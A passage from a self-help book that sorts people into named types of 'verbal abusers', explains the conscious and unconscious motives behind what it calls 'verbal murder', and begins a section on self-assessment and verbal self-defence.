to win. Deep down, these people may have little or no respect for you. They not only knocked you down, they
stomped on you and squished you.
There is another problem with these people: If they threw your confidence back at you, who is to say that they
haven't shared your intimacy with others? Obviously, they don't respect you enough to know what is off limits
for them to ever bring up.
Page 38
Some people just can't keep anything inside. They have to tell all about themselves and about anyone who's
confided in them. These are people you need to steer clear of. They can verbally destroy you, as they have done
to themselves.
Other people tend to know who they are and what they are all about. They don't elicit much respect from others
and if you associate with them, you won't elicit respect from others.
The Sugary Fawner
People want to hear good things about themselves, but there is a limit. When you are constantly fawned over
and praised relentlessly with extraordinary passion and emotion, you need to be careful.
Sugary fawners have a huge smile and are overly excited to see you, gesturing excessively and hovering around
you. They tell you wonderful things about yourself that you know are exaggerations. Most of these sugary
fawners tend to be insincere and manipulative. Usually they want something from you, and they will break this
news to you well after they are in your good graces. Watch how they turn on you when your answer is “no” or
they don't get what they want. Suddenly their sugary words and attitude become salty or even bitter.
Often the Sugary Fawners make you feel as though you are their best friend. This is often calculated, as they
most likely want something from you or want you to do something for them. They often pull the rug out from
under you either after they get what they wanted from you or don't get what they want. They will continue to be
sugary if they think that they can get more from you. Deep inside, they really might not like you, but they are
being overly nice to get what they want from you.
These manipulative tactics date back to infancy. The dynamic of many families is that of manipulating or
“bribing” a family member to do something. Parents tell their children, “If you are well behaved, I'll buy
you….” Children act cutesy in order to get a certain positive reaction from their parents, which results in
positive consequences. If
Page 39
their charm doesn't work, they will often cry or throw a tantrum. Many people carry this manipulative behavior
into adulthood. This is how some people deal with the world and with people around them.
They are insincere people who are usually backstabbers. They will often become “Trashers” and sing your
failures and weak points to others as opposed to singing your praises and strong points. So beware and be
aware!
Backhanded Complimentors
These people, like the “I'm Only Kidding” people, have some underlying resentment towards you. They really
may not like you and may make a cutting remark. Instead of trying to disguise their hostility with humor, like
the “I'm Only Kidding” people, they often disguise it by saying something complimentary to you, followed by
a cutting remark in their next breath.
In essence, they are demonstrating an openly hostile attitude towards you. The tone of a person's voice is also a
giveaway for Backhanded Complimentors. Their voices usually go up in tone at the end of their truly
complementary statement, but will immediately inflect their tone downward, slightly lowering their pitch when
they are about to let loose with verbal zingers.
These people really resent you or are jealous of you. They are also negative people who often can't let a person
know that the person is “too good.” They have to pick on the slightest imperfection. They do it in such a subtle
manner that you don't ever know they verbally smacked you until later. Sometimes you don't realize it until
moments later, hours later, or even days later.
You begin to mull over what you said and what they said and what you wish you would have said, had you
realized what they were saying. This mental mishmash can keep you awake for nights on end. The reason why
their zing hits you later is because their initial positive comment is still resonating in your mind as you beam
and smile. Then when you have time to think about everything, you really hear what they said.
The Self-Consumed.
The Self-Consumed discuss only the topic that is most interesting to them—themselves. They go on and on
about themselves with disregard as to whether the other person is interested in what they are saying or not. The
Self-Consumed will rarely look in your direction when they talk you. They enjoy reliving their lives'
experiences by telling you every little detail about what happened to them.
The Self-Consumed require so much attention from others because deep inside they are extremely insecure
about themselves. They need constant validation in order to exist. Their speech is primarily consumed by the
word “I.” “You” is rarely if ever used. They talk at you, not with you. They are not very helpful or generous, so
don't expect them to do anything for you that doesn't benefit them.
Page 40
In short, be aware of the following level one verbal abusers.
1. “I'm Only Kidding” People
2. “Shock 'Em and Rock 'Em” People
3. Sarcastic/Sadists
4. Verbal Hammers
5. “My Dog's Bigger Than Your Dog” People
6. Trashers
7. People Who Throw Back Your Confidences
8. Sugary Fawners
9. Backhanded Complimentors
10. The Self-Consumed
Level Two Abusers
There are 11 types of Level Two abusers. Unlike the Level Ones, who are annoying, these people are very
destructive to you and may be downright dangerous. By learning what they do and how to recognize them, you
will be saving yourself a lot of grief in your life.
Interrogators
After you have been around these people, you feel as though you have been placed under a hot lamp and
tortured. It's one thing to be persistent, but these people are relentless. They don't know when to stop. They go
on and on asking you questions until they get the answer they want to hear. They will ask you questions in
different ways to see if they can catch you in a lie or learn some detail you didn't particularly want them to
know. They tend to put you on the defensive, making you feel as though you are guilty, when in fact you might
not have done anything wrong. They are also very nosy and want to know everything they can about your
business or about your personal life.
These people are so insecure that they need reassurance that everything is the way they feel it should be. When
you notice that someone is asking you question after question, nonstop, know that you have met an
interrogator.
Certain communities refer to them as yentas: they try to suck as much information out of you as they can, so
that they can regurgitate it to others. Of course, the
Page 41
information they are giving others is usually misinterpreted and told in the wrong context, which makes you
look bad, giving an erroneous impression of who you are and what's going on.
Gossiping, Meddling Instigators
These people enjoy interfering in your personal business by telling you what to do. In order to make situations
turn out as they want them to, they will stop at nothing to create their own little soap operas. They often tell
you things with an alarmed tone to make you perceive the severity of the problem at hand. To make matters
worse, they tell your business to anyone who will listen.
Instigators usually do not have much going on in their own lives—only what commotion they create in the
lives of others. They usually begin their wrath by saying things such as “I don't want to pry, but…,” “It's none
of my business, but…,” “I think you should know that…” or “I happened to hear that….” If any of these
phrases hit your ears, you know what's coming next. They are usually overzealous in wanting to help or to get
involved in your life. They usually speak in rapid tones, which get you enrolled in the immediacy of the
situation. Remember that if a person is gossiping to you about others, chances are that you are next on the list
to be gossiped about.
Condescending Dismissers
Condescending Dismissers think that they know it all. You can't tell them anything, because they think they
have all the answers. Your opinion doesn't matter. They are snob-like in their attitudes as they brush you and
your opinions off as if they were lint. The way they ignore you or put you down in subtle and not-so-subtle
ways can make you feel two inches tall.
When they speak to you, their tones are impatient and their speech pattern appears to be clipped. They just
want to “get on with it.” Their tones, along with what they say, are arrogant. They talk at you, not with you.
They will usually try to diminish, minimize, or brush off anything you try to contribute to the conversation.
These people have an over-inflated ego and under-inflated self-esteem. Otherwise they wouldn't treat others as
they do. In essence, they are very shallow individuals who are closed-minded. You can often detect them from
their facial language, as they seem to literally look down on you. There is usually a sneer or a look of disgust
on their face when they speak to you.
Sneaky Underminers.
These people are some of the most dangerous people you can talk with. They have a lot in common with
Instigators; however, they try to undermine you in a more subtle
Page 42
manner. Instead of doing it in front of you, like the Instigator does, they do it behind your back. They smile a
lot when they talk to you and usually acquiesce to what you say—all the while trying to pick up morsels of
information that they can use against you and stab you in the back with. They try to make you feel so
comfortable around them that you can't help but freely open up to them.
They always try to reinterpret whatever you have said, but they use a negative slant. Then they tend to share
this misinterpreted data with others. The Sneaky Underminers are passive-aggressive and can never be trusted.
“I Love You—I Hate You” People
You're damned if you do and you're damned if you don't when you're dealing with these people. They appear
mostly in romantic relationships and in relationships with children. Perhaps the cruelest thing one can do to a
child, something that can leave permanent emotional scars and traumatize the child, is to give love and then
take it away with such extreme rage and anger. The roller coaster ride of emotions with these people in intimate
relationships can be devastating for both parties involved. Although there are some relationships that thrive on
this high drama, it isn't healthy. They really don't hate you, even though they may say they do in a moment of
rage. In fact, they may feel extremely passionate, bonded, and close to you.
These people often have mental problems, such as a bipolar disorder, which means that unless they are
medicated, they may love you one day and find fault with you the next. They are emotionally confusing to be
around and can drive you crazy. That is why they are often referred to as “crazy makers.” Such a person is too
flowery and tends to speak on two extremes: things are either black or white. There are no shades of gray.
Page 43
“You're No Good!” People.
Deep down, these people really think that they themselves are no good, so they try to project their own selfloathing
onto you. They are constant critics who attempt to find fault with you. They point out only your
negatives.
Often when a relationship grows close and barriers are broken down, this “You're No Good” syndrome may
emerge. It is usually because the person doesn't feel worthy of you or the relationship. They may also be
competitors and trying to get a “leg up” on you by showing you every fault you have.
These people are often gloom-and-doomers. They often walk around with a tight and extended lower lip,
furrowed brow, and an unhappy heart. They are miserable people who don't have enough self-worth. They
often speak in hostile, angry, clipped tones. Giving you a compliment is an extreme rarity. They may speak
nicely to others but their verbal wrath is meant for you.
Yellers, Screamers, and Ragers
These people are extremely out of control, to the point that they cannot talk to anyone unless they're yelling or
screaming at them. They have a volcano of inner rage within them that they constantly spew forth.
Unfortunately, their hot lava melts down everyone they speak to.
You can always tell the Yellers, Screamers, and Ragers even if they aren't engaging in these verbal activities in
your presence. They often sound hoarse. When they speak, you can usually see the veins of their neck popping
out. They can also be recognized by their loud, clipped, attacking, bullet-like staccato tones. Obviously, these
are extremely angry people who need to work out all of their deep-seated inner rage in a therapeutic situation.
Verbal Nazis—My Way or Else!
These people must have order and control in their lives or they cannot function. They don't realize on a
conscious level that there is no way that one can control another person. In their frustration, they become
angrier and downright verbally hostile. They are definitely not team players and have a difficult time getting
along with others, especially in the work environment. These people usually go from job to job. They set
themselves up for a life of disappointment as they are never able to “go with the flow.”
Page 44
They are one of the most difficult verbal abusers to be around, as they believe that “it's my way or the
highway.”
Verbal Nazis are very immature. Like four-year-olds, if you don't do it their way they have a tantrum. The
reason why these people have to be in control is that they cannot function in a world where everything is not
exactly the way they like it. They are recognized by their adamant and emphatic tones. They are poor listeners
and often dismiss or argue with whatever you say, especially if it disagrees with them. Their volume increases
when they don't get their way.
They speak in command terms, threaten, and may even scream, yell, or curse at you.
Guilt-Producing Accusers
Guilt-Producing Accusers make you wrong to make themselves right. But unlike the Verbal Nazis, who use
anger in their attempt to control you, these people use guilt. They let you know that you made a big mistake
and that you should feel bad about it and pay. Often the payment is groveling or saying you're sorry a million
times. Still that may not appease them. They usually bring up your “crime” at some inopportune time as further
ammunition as to why you made them feel so bad. They are perennial “victims” who feel that everyone is
doing them wrong. They try to manipulate you by hitting one of your emotional weak points to make you feel
just as bad as they do. They usually hold a grudge against you for a long time.
When you hear phrases like “You always…,” “You make me…,” “Why do you always…,” “What you did to
me…,” or “Why don't you ever…,” then you know you have been exposed to someone whose aim is to make
you responsible for something in their life that upsets them. They speak in absolute terms. They say just about
anything and even resort to crying in order to get you to “feel bad for what you did.” It seems as though
nothing you can say can appease them, as they tend to go on and on about the woe you “caused” them.
Liars
Liars are one of the most verbally abusive people, because they don't respect you enough to tell you the truth.
Liars often lie for different reasons. Some lie to make themselves feel as though they are more than they really
are, so that you will have more respect for them. These liars are extremely insecure. Others lie because they are
cowardly and can't face the results of their negative actions. Nobody likes a liar. Nobody likes to be fooled,
hoodwinked, or disrespected.
On the other hand, people may not tell the truth because they may not want to hurt your feelings. For example,
if you have an ugly baby that you happen to think is cute, and you ask people what they think, don't expect
them to tell you how ugly the baby is and ask you “where's its tail?” This form of lying can be good and
socially acceptable, and we are not concerned with it.
Page 45
Note that pathological liars are extremely difficult to detect. Being only human, however, they often slip up. If
you suspect they are lying, try to check their story by verifying it with other people and by gathering hard
evidence.
Verbal Icicles
These people withhold their words. They are some of the most difficult people to be around, because you never
know what they are thinking. They never seem to react. If there is a building crumbling behind them or they
just won a million dollars in the lottery, they remain the same—emotionless. They are so frustrating to be
around because you can never get a read on what is going on with them or how they feel about a particular
situation.
In actuality, they mostly live in fear. They are afraid to say the wrong thing or afraid to say something that may
upset someone, so they keep quiet. They speak when spoken to. As a child, they were often brainwashed by the
mantra, “be seen but not heard,” or consistently told to “shut up!” They often lack social graces, which further
compounds their insecurities.
Even though they are quiet and unassuming, beware! They may unfreeze one day and let out emotions that
would scare the most ferocious beast. Withholding words and emotions from you is definitely a major act of
cruelty.
To say that they are inexpressive is an understatement. Sometimes you wonder if they are brain-damaged or
mute. They often have a vacant look. They are often rigid in their facial and body movements. They speak in
monotones or in short clipped phrases. If they should happen to unload, be prepared for someone who won't
shut up or who is ranting and raving in loud, uncontrolled tones. As they let out their stored-up verbal poisons,
their reactions and words may sound more extreme and hostile than the words of those who let out their
emotions regularly.
Page 46
In summary, beware of the following level two verbal abusers:
1. Interrogators
2. Gossiping, Meddling Instigators
3. Condescending Dismissers
4. Sneaky Underminers
5. “I Love You—I Hate You” People””
6. “You're No Good!” People
7. Yellers, Screamers, and Ragers
8. Verbal Nazis
9. Guilt-Producing Accusers
10. Liars
11. Verbal Icicles
Page 47
Chapter 4
Verbal Murder—How and Why?
What Is Verbal Murder?
Verbal abuse leads to verbal murder—the killing of one's spirit, self-esteem, dignity, and self-respect through
emotionally hurtful words and phrases. The aim of verbal murderers is to make you feel bad. The difference
between verbal murderers and verbal abusers is that murderers are relentless. They abuse repeatedly until they
have done irreparable emotional and even physical damage to their victim. If the verbal abuse mentioned in
Chapter 2 continues for any length of time, the result is emotional death—verbal murder.
Who Are Verbal Murderers?
Verbal murderers can be anyone with whom you have ever come in contact who have made you feel less than
human, by the constant horrible things they have said to you and about you. They usually are people so full of
self-loathing or self-hatred that they spew their venom on anyone who happens to be in their path.
Verbal murderers come in all shapes, colors, sizes, and religions. They cross all cultural, sexual, racial, ethnic,
and age barriers. They are from all walks of life and are seen in virtually every profession and in every country
in the world.
Page 48
Half of the verbal murderers know exactly what they are doing. They are very conscious about their motives.
The other half murder automatically or unconsciously. Later in this section, we learn both the conscious and
unconscious reasons why they emotionally kill.
Identifying the Verbal Abusers in Your Life
You might have been verbally abused at one point in your life and not at other points. You may have been
abused mostly by men, or mostly by women, or by certain family members and not by others, or by certain
friends or acquaintances. Perhaps a co-worker, boss, or employee verbally abused you. You may have been
abused verbally as a child without even knowing it.
So do the following exercise. Carefully think back through your life, decade by decade. List people both in
your past and in your present. Tally up how many men verbally abused you, as well as how many women.
Tally up the number of relatives, employers, friends, and so on. Go through all the categories of people listed
on the following chart. In this chart, list the names of people who verbally abused you under each of these
kinds of people who were or are in your life. You might discover patterns showing changes over time about
who verbally abused you in the past and in the present.
Go down the list of Level One Abusers and Level Two Abusers. To specify the type of verbal abuse you may
have received, write the person's name based on his or her relation to you in each of the 21 categories. If you
need more room, use another sheet of paper.

Page 49
When Do Verbal Abusers Turn into Verbal Murderers?
Now that you have identified your verbal abusers, go back and, on a separate piece of paper list all the names
of the people on your chart.
Next to each name, write a number from 1 to 3, indicating the frequency that you received their verbal poison.
Writing 1 means once or a few times, 2 means several times, and 3 means always. Each number 3 indicates that
the named person succeeded in killing something about you emotionally. He went beyond verbal abuse and
should now be considered a verbal murderer.
Just like physical murderers, verbal murderers need to be kept away from people and put behind bars. You
need to keep them away from you at all times. Bar them from your life.
On the other hand, just as prisoners can often be rehabilitated, if the verbal murderer is willing to get some
professional help, or if you can set new limits of ground rules and reestablish your relationship, then the
murderer can be set free. He can now become a productive member of society. Your “society”—your life!

Page 50
Why Does Verbal Murder Happen?
People become verbal murderers for several reasons. Some murderers act unconsciously—they couldn't tell
you why, but something deep within their psyches allows them to act in such a “toxic” manner. Other
murderers are quite conscious. They know exactly why they speak to you the way they do. The following
section explores both the subconscious and conscious reasons for verbal murder.
Unconscious Reasons for Verbal Murder
All too often, people who say and do ugly things to you have no idea why they treated you that way. Even if
you sit them down and ask them point blank why they act as they do, they can't answer you. They know only
that for some unknown reason, you seem to bring out the worst in them, perhaps stimulating their deepest fears.
Hey! Don't Take It Out on Me!
Many people are so frustrated with their own lives that they let out their frustration in the worst way.
Unfortunately, that worst way may be towards you. You may be the recipient of the “kick the cat” syndrome.
This syndrome is named for the old adage about someone who had a hard day or a misfortune. He comes home
and looks to take out his anger on anyone who happens to be there. Unfortunately, the only creature present is
the cat. This angry person literally kicks the cat in order to let out his anger and frustration, even though the cat
has nothing to do with his frustrations.
Verbal murderers may kick you or someone else who is in their way—not physically, but emotionally. Their
boss yelled at them, and they had to take it or risk being fired. Because you are a friend or a family member,
however, they have no qualms about taking out their frustrations on you. They do this by being short-tempered
with you. For example, you call them at work to let them know that you miss them and would like to take them
to lunch. Before you can get a word out, they blurt out gruffly and impatiently, “Didn't I tell you not to call me
at work? What do you want?” At this point, the only thing you want is to get off the phone with them and never
see them again.
All too often, people who are close to us take the liberty of treating us the worst by unloading their anger onto
us. You must never ever let them do this to you. Later on in this book, you will learn what to say in order to
defend yourself in this uncomfortable situation.
Hey! We're Not All Like That!
In their emotional pain, they generalize that all people of a certain group act in a certain way. Because of their
negative experiences with one particular group, they generalize their ill feelings to everyone who is a member
of that group. How many times have we heard women say “men are dawgs (dogs)” or men say “there are no
more good women out there?”
Page 51
After having so many negative experiences, and saying such a thing enough times (whether in jest or not), they
come to believe it. Unconsciously, these verbal murderers condemn an entire race, religious group, sex,
country, profession, or socioeconomic group for the actions of a few bad seeds.
I'm Not That Toxic Person in Your Past!
Just as a verbal murderer condemns people for the group to which they belong, a murderer will often throw
poison verbal darts at someone who reminds him of someone who did him wrong.
Most of the time, however, people who dislike someone don't know the reasons why. If you ask them what that
person did to them to arouse such disdain, they will be at a loss for words.
Unfortunately, if people have had a series of bad personal relationships (in which they have been cheated on
repeatedly, for example), they often might be very suspicious of you and perhaps believe that you are cheating
on them as well. Even if you never give them any cause to think that you desire someone else, they might keep
insisting that you have been unfaithful.
Green with Envy!
Usually, you are stabbed in the back because of envy. In psychological terms, “envy seeks to destroy.” People
undermine you or do whatever they can to hold you back because they are green with envy.

Page 52
The envy shows on their face with their tight-lipped smile and hard swallow whenever you tell them something
good that has happened or is about to happen in your life. You can actually see the veins tense up in their neck
as they have a difficult time swallowing their own venom.
Some people make mean and cutting remarks to you because, consciously or not, they are extremely jealous of
you for some reason. You may think that they have nothing to be jealous about, but in their eyes, you are larger
than life. They wish to have what you have, or they regard you to be “more” than they are. All this may be a
surprise to them, however. If you point out that they are jealous, they might vehemently deny it and profess
how much they like, love, or admire you.
I Really Don't Deserve to Be That Happy!
Have you ever met people who had everything going for them? Things are going smoothly for them until they
open their big mouths and stick their feet inside, sabotaging everything they worked for.
These people feel that deep down they don't deserve good things to happen to them. They see themselves as
impostors who will be “found out” in time, especially if someone gets too close to them. Unconsciously, they
feel that the truth about themselves will be revealed. They have low self-esteem and see themselves as losers,
no matter how successful they may seem by society's standards.
Because they feel that they don't deserve to be happy or liked, let alone loved, they say rude or mean things to
others, including you. They don't realize that this is an attempt to get you to dislike them, so that they can prove
that they are unlovable frauds.
A client of mine broke off her engagement with a man because of his verbal hostility toward her. As she put it,
he would give with one hand and take away with the other. One small example was when she opened the door
to see him and he said “Wow, you look so sexy and gorgeous.” She smiled brightly, but her smile turned into a
frown when he added, “but I hate the color green. It sickens me and you look like you are sick.” He made
comments like these constantly. What her ex-fiancé was doing was verbally destroying a relationship that he
knew would make him happy. He didn't feel that he deserved happiness, so he talked himself and his fiancé out
of it.
I Don't Trust Anybody—Including You!
Just as people project their bad experiences with others onto you, they may also project onto you issues of trust
or lack of trust. They may have had trusts broken in their childhood, business life, or personal life. And it takes
very little to trigger such people's mistrust—cues from your facial or body movement, or from your voice or
what you say. They conclude, rightly or wrongly, and consciously or unconsciously,
Page 53
that you are not forthright, and so they react toward you with verbal abuse. In essence, they are coming across
on the offense to subconsciously protect themselves against you.
Conscious Reasons for Verbal Murder
People also have conscious reasons for trying to murder you verbally. They spew verbal bullets when they can't
stand you, don't want you to succeed, want to control you, or don't want you to be better than they are.
They Just Plain Can't Stand You!
For whatever reason, some people just can't stomach you. You get on their nerves. This is why they can tell
you the worst things about yourself and then say they were only kidding; this is why they can be sarcastic to
you. And if you happen to tell them something bad that's going on in your life, they love it!
They Know You Really Don't Like Them
For the most part, the way you feel about a person is the way they will feel about you. If you aren't too crazy
about someone, chances are that she's not so crazy about you either. People know when they aren't liked and
will often reflect this in their behavior—what they say to you and how they say it.
What's the Use?
Many people resign themselves to a life of despair or mediocrity. Just because things don't go as planned, they
feel that their whole life is a mess. They feel like losers; they expect the worst, and they definitely get the
worst.
As a result, they don't try anything new. There is no excitement in their souls, as their dull tones usually reflect.
Anyone around them who shows a bit of spunk or enthusiasm towards life is regarded as the enemy. Therefore,
they always say something to try to discourage you or squelch your dreams or excitement. They figure that if
they are so miserable, you should be miserable too. They will rain on your parade, pop your balloon, and
deflate your ego. They usually say the phrase “yeah but” when they are going to tear down anything positive
you have said. Unfortunately, their hopelessness tends to be contagious.
Gimme the Reins—I Need to Control You!
The control freak can relate to you—or to anyone else for that matter—only if he has you under his control.
Sometimes, the control freak can hold money, a certain

Page 54
lifestyle, or even a job situation over your head to make sure that you are under his thumb.
The most common situation I have encountered is the woman who goes after her dream man—the fantasy
Prince Charming with the big bucks who can take care of her financially so that she will live happily ever after.
What does he get out of it? He gets the pleasure of controlling her with his big bucks, putting her on a
restrictive budget, and dictating her behavior. Yeah—happily ever after! The price is too high when you give
up your freedom. It doesn't work—you crumble. Even societies crumble when people are controlled or
oppressed. Look at what happened in East Germany and in the former Soviet Union. You can't limit people's
creativity and ambition and expect them to flourish.
You're Incompetent!
When people think you're stupid or can't cut the mustard, they usually speak to you in curt sentences, using
condescending and impatient-sounding tones. They consistently show their frustration whenever they speak to
you directly or speak about you to others.
Often the people around them follow suit. For example, their secretaries, assistants, employees, or friends may
treat you and speak to you in a similar manner. They won't show you the courtesy you deserve. Because they so
consistently treat you like an idiot, you may find yourself carrying out their self-fulfilling prophecy, believing
you are incompetent and acting in accordance to their low expectations of you.
I Just Don't Believe in You!
One client of mine once had a talent agent for her acting career. This agent never got her work and rarely even
took her telephone calls. One day, when talking to another client of mine, a director, I heard about a role that
she would be perfect for. I told the director about her and he sounded very interested in meeting with her.
When she arrived in my office later that morning, I had her immediately telephone her agent in my office. She
put the call on speakerphone so that we could both talk to her agent and I could fill him in on the details of the
project and put him in direct contact with the director.
After placing us on hold for what seemed like an eternity, the agent finally answered the phone with a gruff,
curt, monotonous, disgusted sound “Yeah.” She excitedly told him about the project, which he immediately
started to pooh-pooh. He told her that the casting agents for that project were looking at a lot of people and that
he didn't think she was right for the part. She tried to sound convincing and chipper as she told him what had
taken place in my office with the director. I then got on the phone and
Page 55
told him how the director seemed interested in interviewing his client. But in his sour, negating tone, he
basically told me that it was too big a role and that they were looking for a name and so wouldn't be interested
in her.
When she got off the phone, she was sobbing in frustration. She said that he never believed in her and always
talked down to her, negating everything she ever said or suggested. She felt low and worthless, and even began
to question her own talents and why she was even pursuing an acting career.
Before she got too down, I got her the meeting with the director myself, and she got the role and “kicked her
agent to the curb.”
It's better to be alone than to be around anyone who doesn't believe in you. Such people sabotage your efforts
by not doing anything to help you—they will neglect you or proactively do their best to make sure nothing
good happens to or for you.
I Don't Want You to Be Ahead of Me!
These are the ultimate competitors. Unlike those who are unconsciously jealous, these people are fully
conscious of who you are and the threat they perceive you to be. They are overt in letting you know that they
are the “king,” “queen,” or “star” and that you should stay in your place.
This is all too common among siblings and spouses. Often, spouses start out being in a subservient role in
which they look up to their mate, who makes more money, is in a more powerful position, or is more attractive.
When the tables turn and the previously subservient spouse starts to assert himself or herself, when they begin
to earn more money, or attain equal or more perceived power in the job world, all hell breaks loose. Loveydovey
couples who previously cooed accolades and terms of endearment towards one another now roar at and
demean one another in their attempts to gain the upper hand.
In my practice, I have seen this scenario repeatedly when people lose a lot of weight, have plastic surgery to
improve their looks, or dress differently. People who were supposed to be your “friends”
Page 56
aren't too friendly now that you look or feel better. They liked you in your previous role when they had (at least
in their minds) more than you or felt they were better than you.
These people make life as miserable as possible for you by exhibiting a wide range of toxic behaviors. These
include not acknowledging you, not speaking to you, or ignoring, minimizing, or openly taking issue with
everything you say. They may mock you to others and badmouth you. By doing this, they attempt to gain the
winning edge of other's favorable perception of them as they perpetuate the unfavorable perception of you.
If this happens in a work environment in which the other person is in a more powerful position than you, there
is unfortunately nothing you can do about it. You lose out in that situation, and you have to be the one to leave.
In the long run, this is perhaps for the better—who would want to be around such a toxic person anyway?
Who Said You Can Be That Happy and Lucky?
Many people are so miserable that they can't stand when someone else is happy or has a run of good fortune.
Even if their lives are going well, they resent that yours is, too. Even though they may be smiling at you, they
are wishing you ill. Such people either minimize the good things you tell them or try to top you.
They Did It to Me—Now It's Your Turn!
This type of verbal abuse is common in families in which a parent who was verbally abused passes down
verbal poison to his or her child, who as an adult in turn passes down this ugly heirloom to their child, and so
forth. The old adage “the apple doesn't fall far from the tree” is most appropriate here.
Perhaps one of the worst experiences of my life was getting my first Ph.D., in communication disorders, when I
was 24. Thank goodness I didn't encounter the same emotional torture when, years later, I received my second
Ph.D., this time in counseling psychology. With a few exceptions, the professors in my first doctorate treated
me like dirt. They were rude, condescending, obnoxious, curt, demeaning, uncooperative, unhelpful,
unfriendly, and downright awful to me.
Page 57
I was so depressed over this situation that it took all the energy I could muster just to get up in the morning. I
then decided to see a counselor at the university. When I told her my plight, she threw her head back and
smiled a smile indicating she had often seen this problem before. She then said, “Don't worry, you are just
being initiated into your doctorate the same way they were. Their professors did it to them, and now it's your
turn!” As soon as she said that, I understood the game, and I no longer took their abuse to heart.
Consequences of Being a Verbal Murderer
Verbal murderers are usually embarrassed or ashamed about what they say and do to others. They have so
much inner anger towards themselves that their poisonous words uncontrollably escape from their lips to attack
you. This lack of verbal control often costs them their relationships with friends or family. They find that they
are shunned, unforgiven, and untrusted by those to whom they were once close. Social invitations dry up, and
people usually stay away from them.
Trust is the essence of any relationship, and when trust is shattered, there is usually no going back. These
verbal murderers cannot be trusted, because they may verbally murder again. They cannot keep friends on a
long-term basis. They also become the last to know things, because nobody trusts them—sharing one's
confidences with these verbal murderers is out of the question.
Another consequence of being a verbal murderer is frequent depression. They are often so bitter at others and
life in general that they walk around with a frown, a scowl, or an expressionless face, which further alienates
them from others.
They tend to feel so guilty and ashamed of what they have said and done to so many people that they perceive
themselves in a negative manner; this in turn permits their low self-esteem. And because they hold themselves
in such low esteem, they may act out by being more verbally destructive to others or to themselves. They may
drink, smoke, take drugs, or overeat in order to dull and temporarily quiet the pain lurking inside of them.
Consequences of Being Verbally Murdered
When you have been verbally murdered, part of you has literally died, mentally, emotionally, and spiritually.
You lose your enthusiasm, your smile, and your inner desires and passions. You feel as though there is no hope
left in you.
You become afraid to speak up and share your innermost confidences with anyone. You become closemouthed,
fearful, and withholding around people. Even being around people may become uncomfortable for
you because you are afraid to say anything that you feel could sound stupid or ridiculous. Even though such
fears are usually unwarranted, you are always “on guard” with others.
This fear cuts you off from the viable communication you need with others in order to have solid and open
relationships.
Page 58
If the verbal murder persists over a long period of time, causing you severe stress, this stress may become so
physically devastating to you that it leads to your premature death. You could develop heart disease or even
cancer, as research has consistently proven. Suicide is another unfortunate by-product of consistent verbal
murder. According to various researchers, the rise in teenage suicide could be due to persistent verbal
harassment and feeling so depressed about it that the teen concludes there is no way out.
Page 59
PART 2
PREPARING TO VERBALLY DEFEND YOURSELF
In Part 1, you learned how to recognize the “verbal enemy.” You learned how to size them up, and what
specific signals to look and listen for. You learned how to recognize whether you have been subjected to verbal
abuse. You learned about both the psychological and physical consequences of being subjected to verbal
abuse. Finally, you learned about the specific types of verbal abusers and why they do it.
You can never defend yourself against the verbal enemy unless you are prepared. You can't fight a battle and
expect to win unless you have the right ammunition.
In fighting back, you must come from a position of power and strength. In order to do this, you need to feel
confident that you have all of the equipment essential to help you win the “verbal war.”
This part tells you about all the tactics and strategies you need to come out ahead. First, you learn how to
objectively analyze yourself as you prepare for verbal warfare. Then you learn how to defend yourself and find
out all you need to know about how to gain that added physical, verbal, and communicative advantage against
verbally abusive people.
Page 61
Chapter 5
Analyzing Your Strengths and Weaknesses
When you know yourself, you know how to effectively comport yourself in the world. You know how to
maneuver yourself in any situation, because you are secure enough to know what your psyche or mental
makeup can or cannot tolerate. Therefore, you must have the knowledge and the confidence to know how you
will react to any given situation. If you know that you tend to act in a certain way, but that way cannot gain you
the advantage you need to win the verbal war, you become more conscious of the situation. Thus you can
change your usual way of reacting and behave in a more effective manner, which allows you to verbally slay
your hostile opponent.
How Others See You Does Matter!
Why would you care what anyone thinks about you? After all, how you look, act, and sound is your business,
not theirs. You know in your mind that you are qualified to do any job. You know in your heart that you are a
good person and that anyone would be lucky to have a meaningful relationship with you. You are absolutely
right. However, unless you look, sound, and act in a way that helps you win friends and influence people,
nobody will give you the chance to show how competent you are at that job or take the time to get to know you
and discover what a wonderful, sensitive, and generous person you are.
Page 62
The truth is that we do not live in a meritocracy. In an ideal world, superficial things like appearance shouldn't
matter. In the real world, however, it does matter. If people perceive you in a more positive light, they will treat
you better. They will have more confidence in you, which will translate into better opportunities for you. More
doors will be available to you in your business as well as in your personal life.
Studies consistently show that if you have good posture, a solid walk, an appropriate gaze, the right facial
expressions, and a good voice and proper communication skills, you will be perceived as being wealthier, more
successful in business, less guilty of committing a crime, more intelligent, friendlier, and more sexually
exciting than if you don't possess these qualities.
How Do You Come Across to Others?
To clearly learn about how you come across to others is to ask them objectively what image you give off in
general.
Tell them that they won't hurt your feelings, and they would be doing you a great favor in terms of providing
you with this information.
I came up with this idea when I was sitting on an airplane next to a businessman who was president and CEO
of a highly successful company. He told me that he worked for a company for 25 years and was fired due to
downsizing. He was on the fast track to corporate success and suddenly his world fell apart—his job and his
marriage. He didn't know who he was or where he was going, so he set out on a quest to find out how others
perceived him. He sent out 100 letters to people he knew well—colleagues, acquaintances, family members,
and those whom he felt may not like him.
He asked them to take a few moments to honestly write and tell him what they thought of him. He then
compiled all of the data and came up with a consensus that he was a doer and innovator, he loves people, and
he was personable, friendly, and sensitive towards the needs of others. He spent more time counseling
employees than being concerned about the bottom line. He also found out that he was impatient and at times
has a bad temper—especially when he doesn't get his way.
This information changed his life. He started an employment agency to help scientists and researchers find
jobs, since the business employment agencies were tapped out. In his new position he has never been happier in
his life—all day long, he counsels unemployed scientists whom he knows he helps. He has made more money
than ever before, watches his temper and his impatience, and the best news is that he married one of his
scientist clients and is living happily ever after.
Page 63
The General Consensus About You Is…
In order to make people in your life more comfortable with giving you information about yourself, you may
want to ask them to describe how others may perceive you. This gets them off the spot; they're less likely to
feel they'll embarrass you and themselves, no matter how much you protest that the information won't hurt your
feelings.
You may want to do this with your co-workers, employer, employees, spouse, children, friends, relatives, and
anyone else who knows you.
Write these comments down in a notebook afterwards and then look at certain personality patterns you have, as
well as how they feel you present yourself. Once again, insist that they be 100 percent candid with you so that
you can get a true picture of how the world sees you.
Sometimes, people will have already told you how they feel about you. In these cases, you don't need to ask
them again. Just include their names on the list along with comments they made about you in the past.
Putting Others to the Test
On each page of a small booklet, write the name of the person to whom you are asking these questions, on the
page in your booklet listing with who they represent in your life. Do it with 5–10 people in each category. You
can do it with more than 10 people; the more information you get about how several people perceive you, the
better equipped you are to learn more about yourself and see if consistent negative perceptions crop up. You
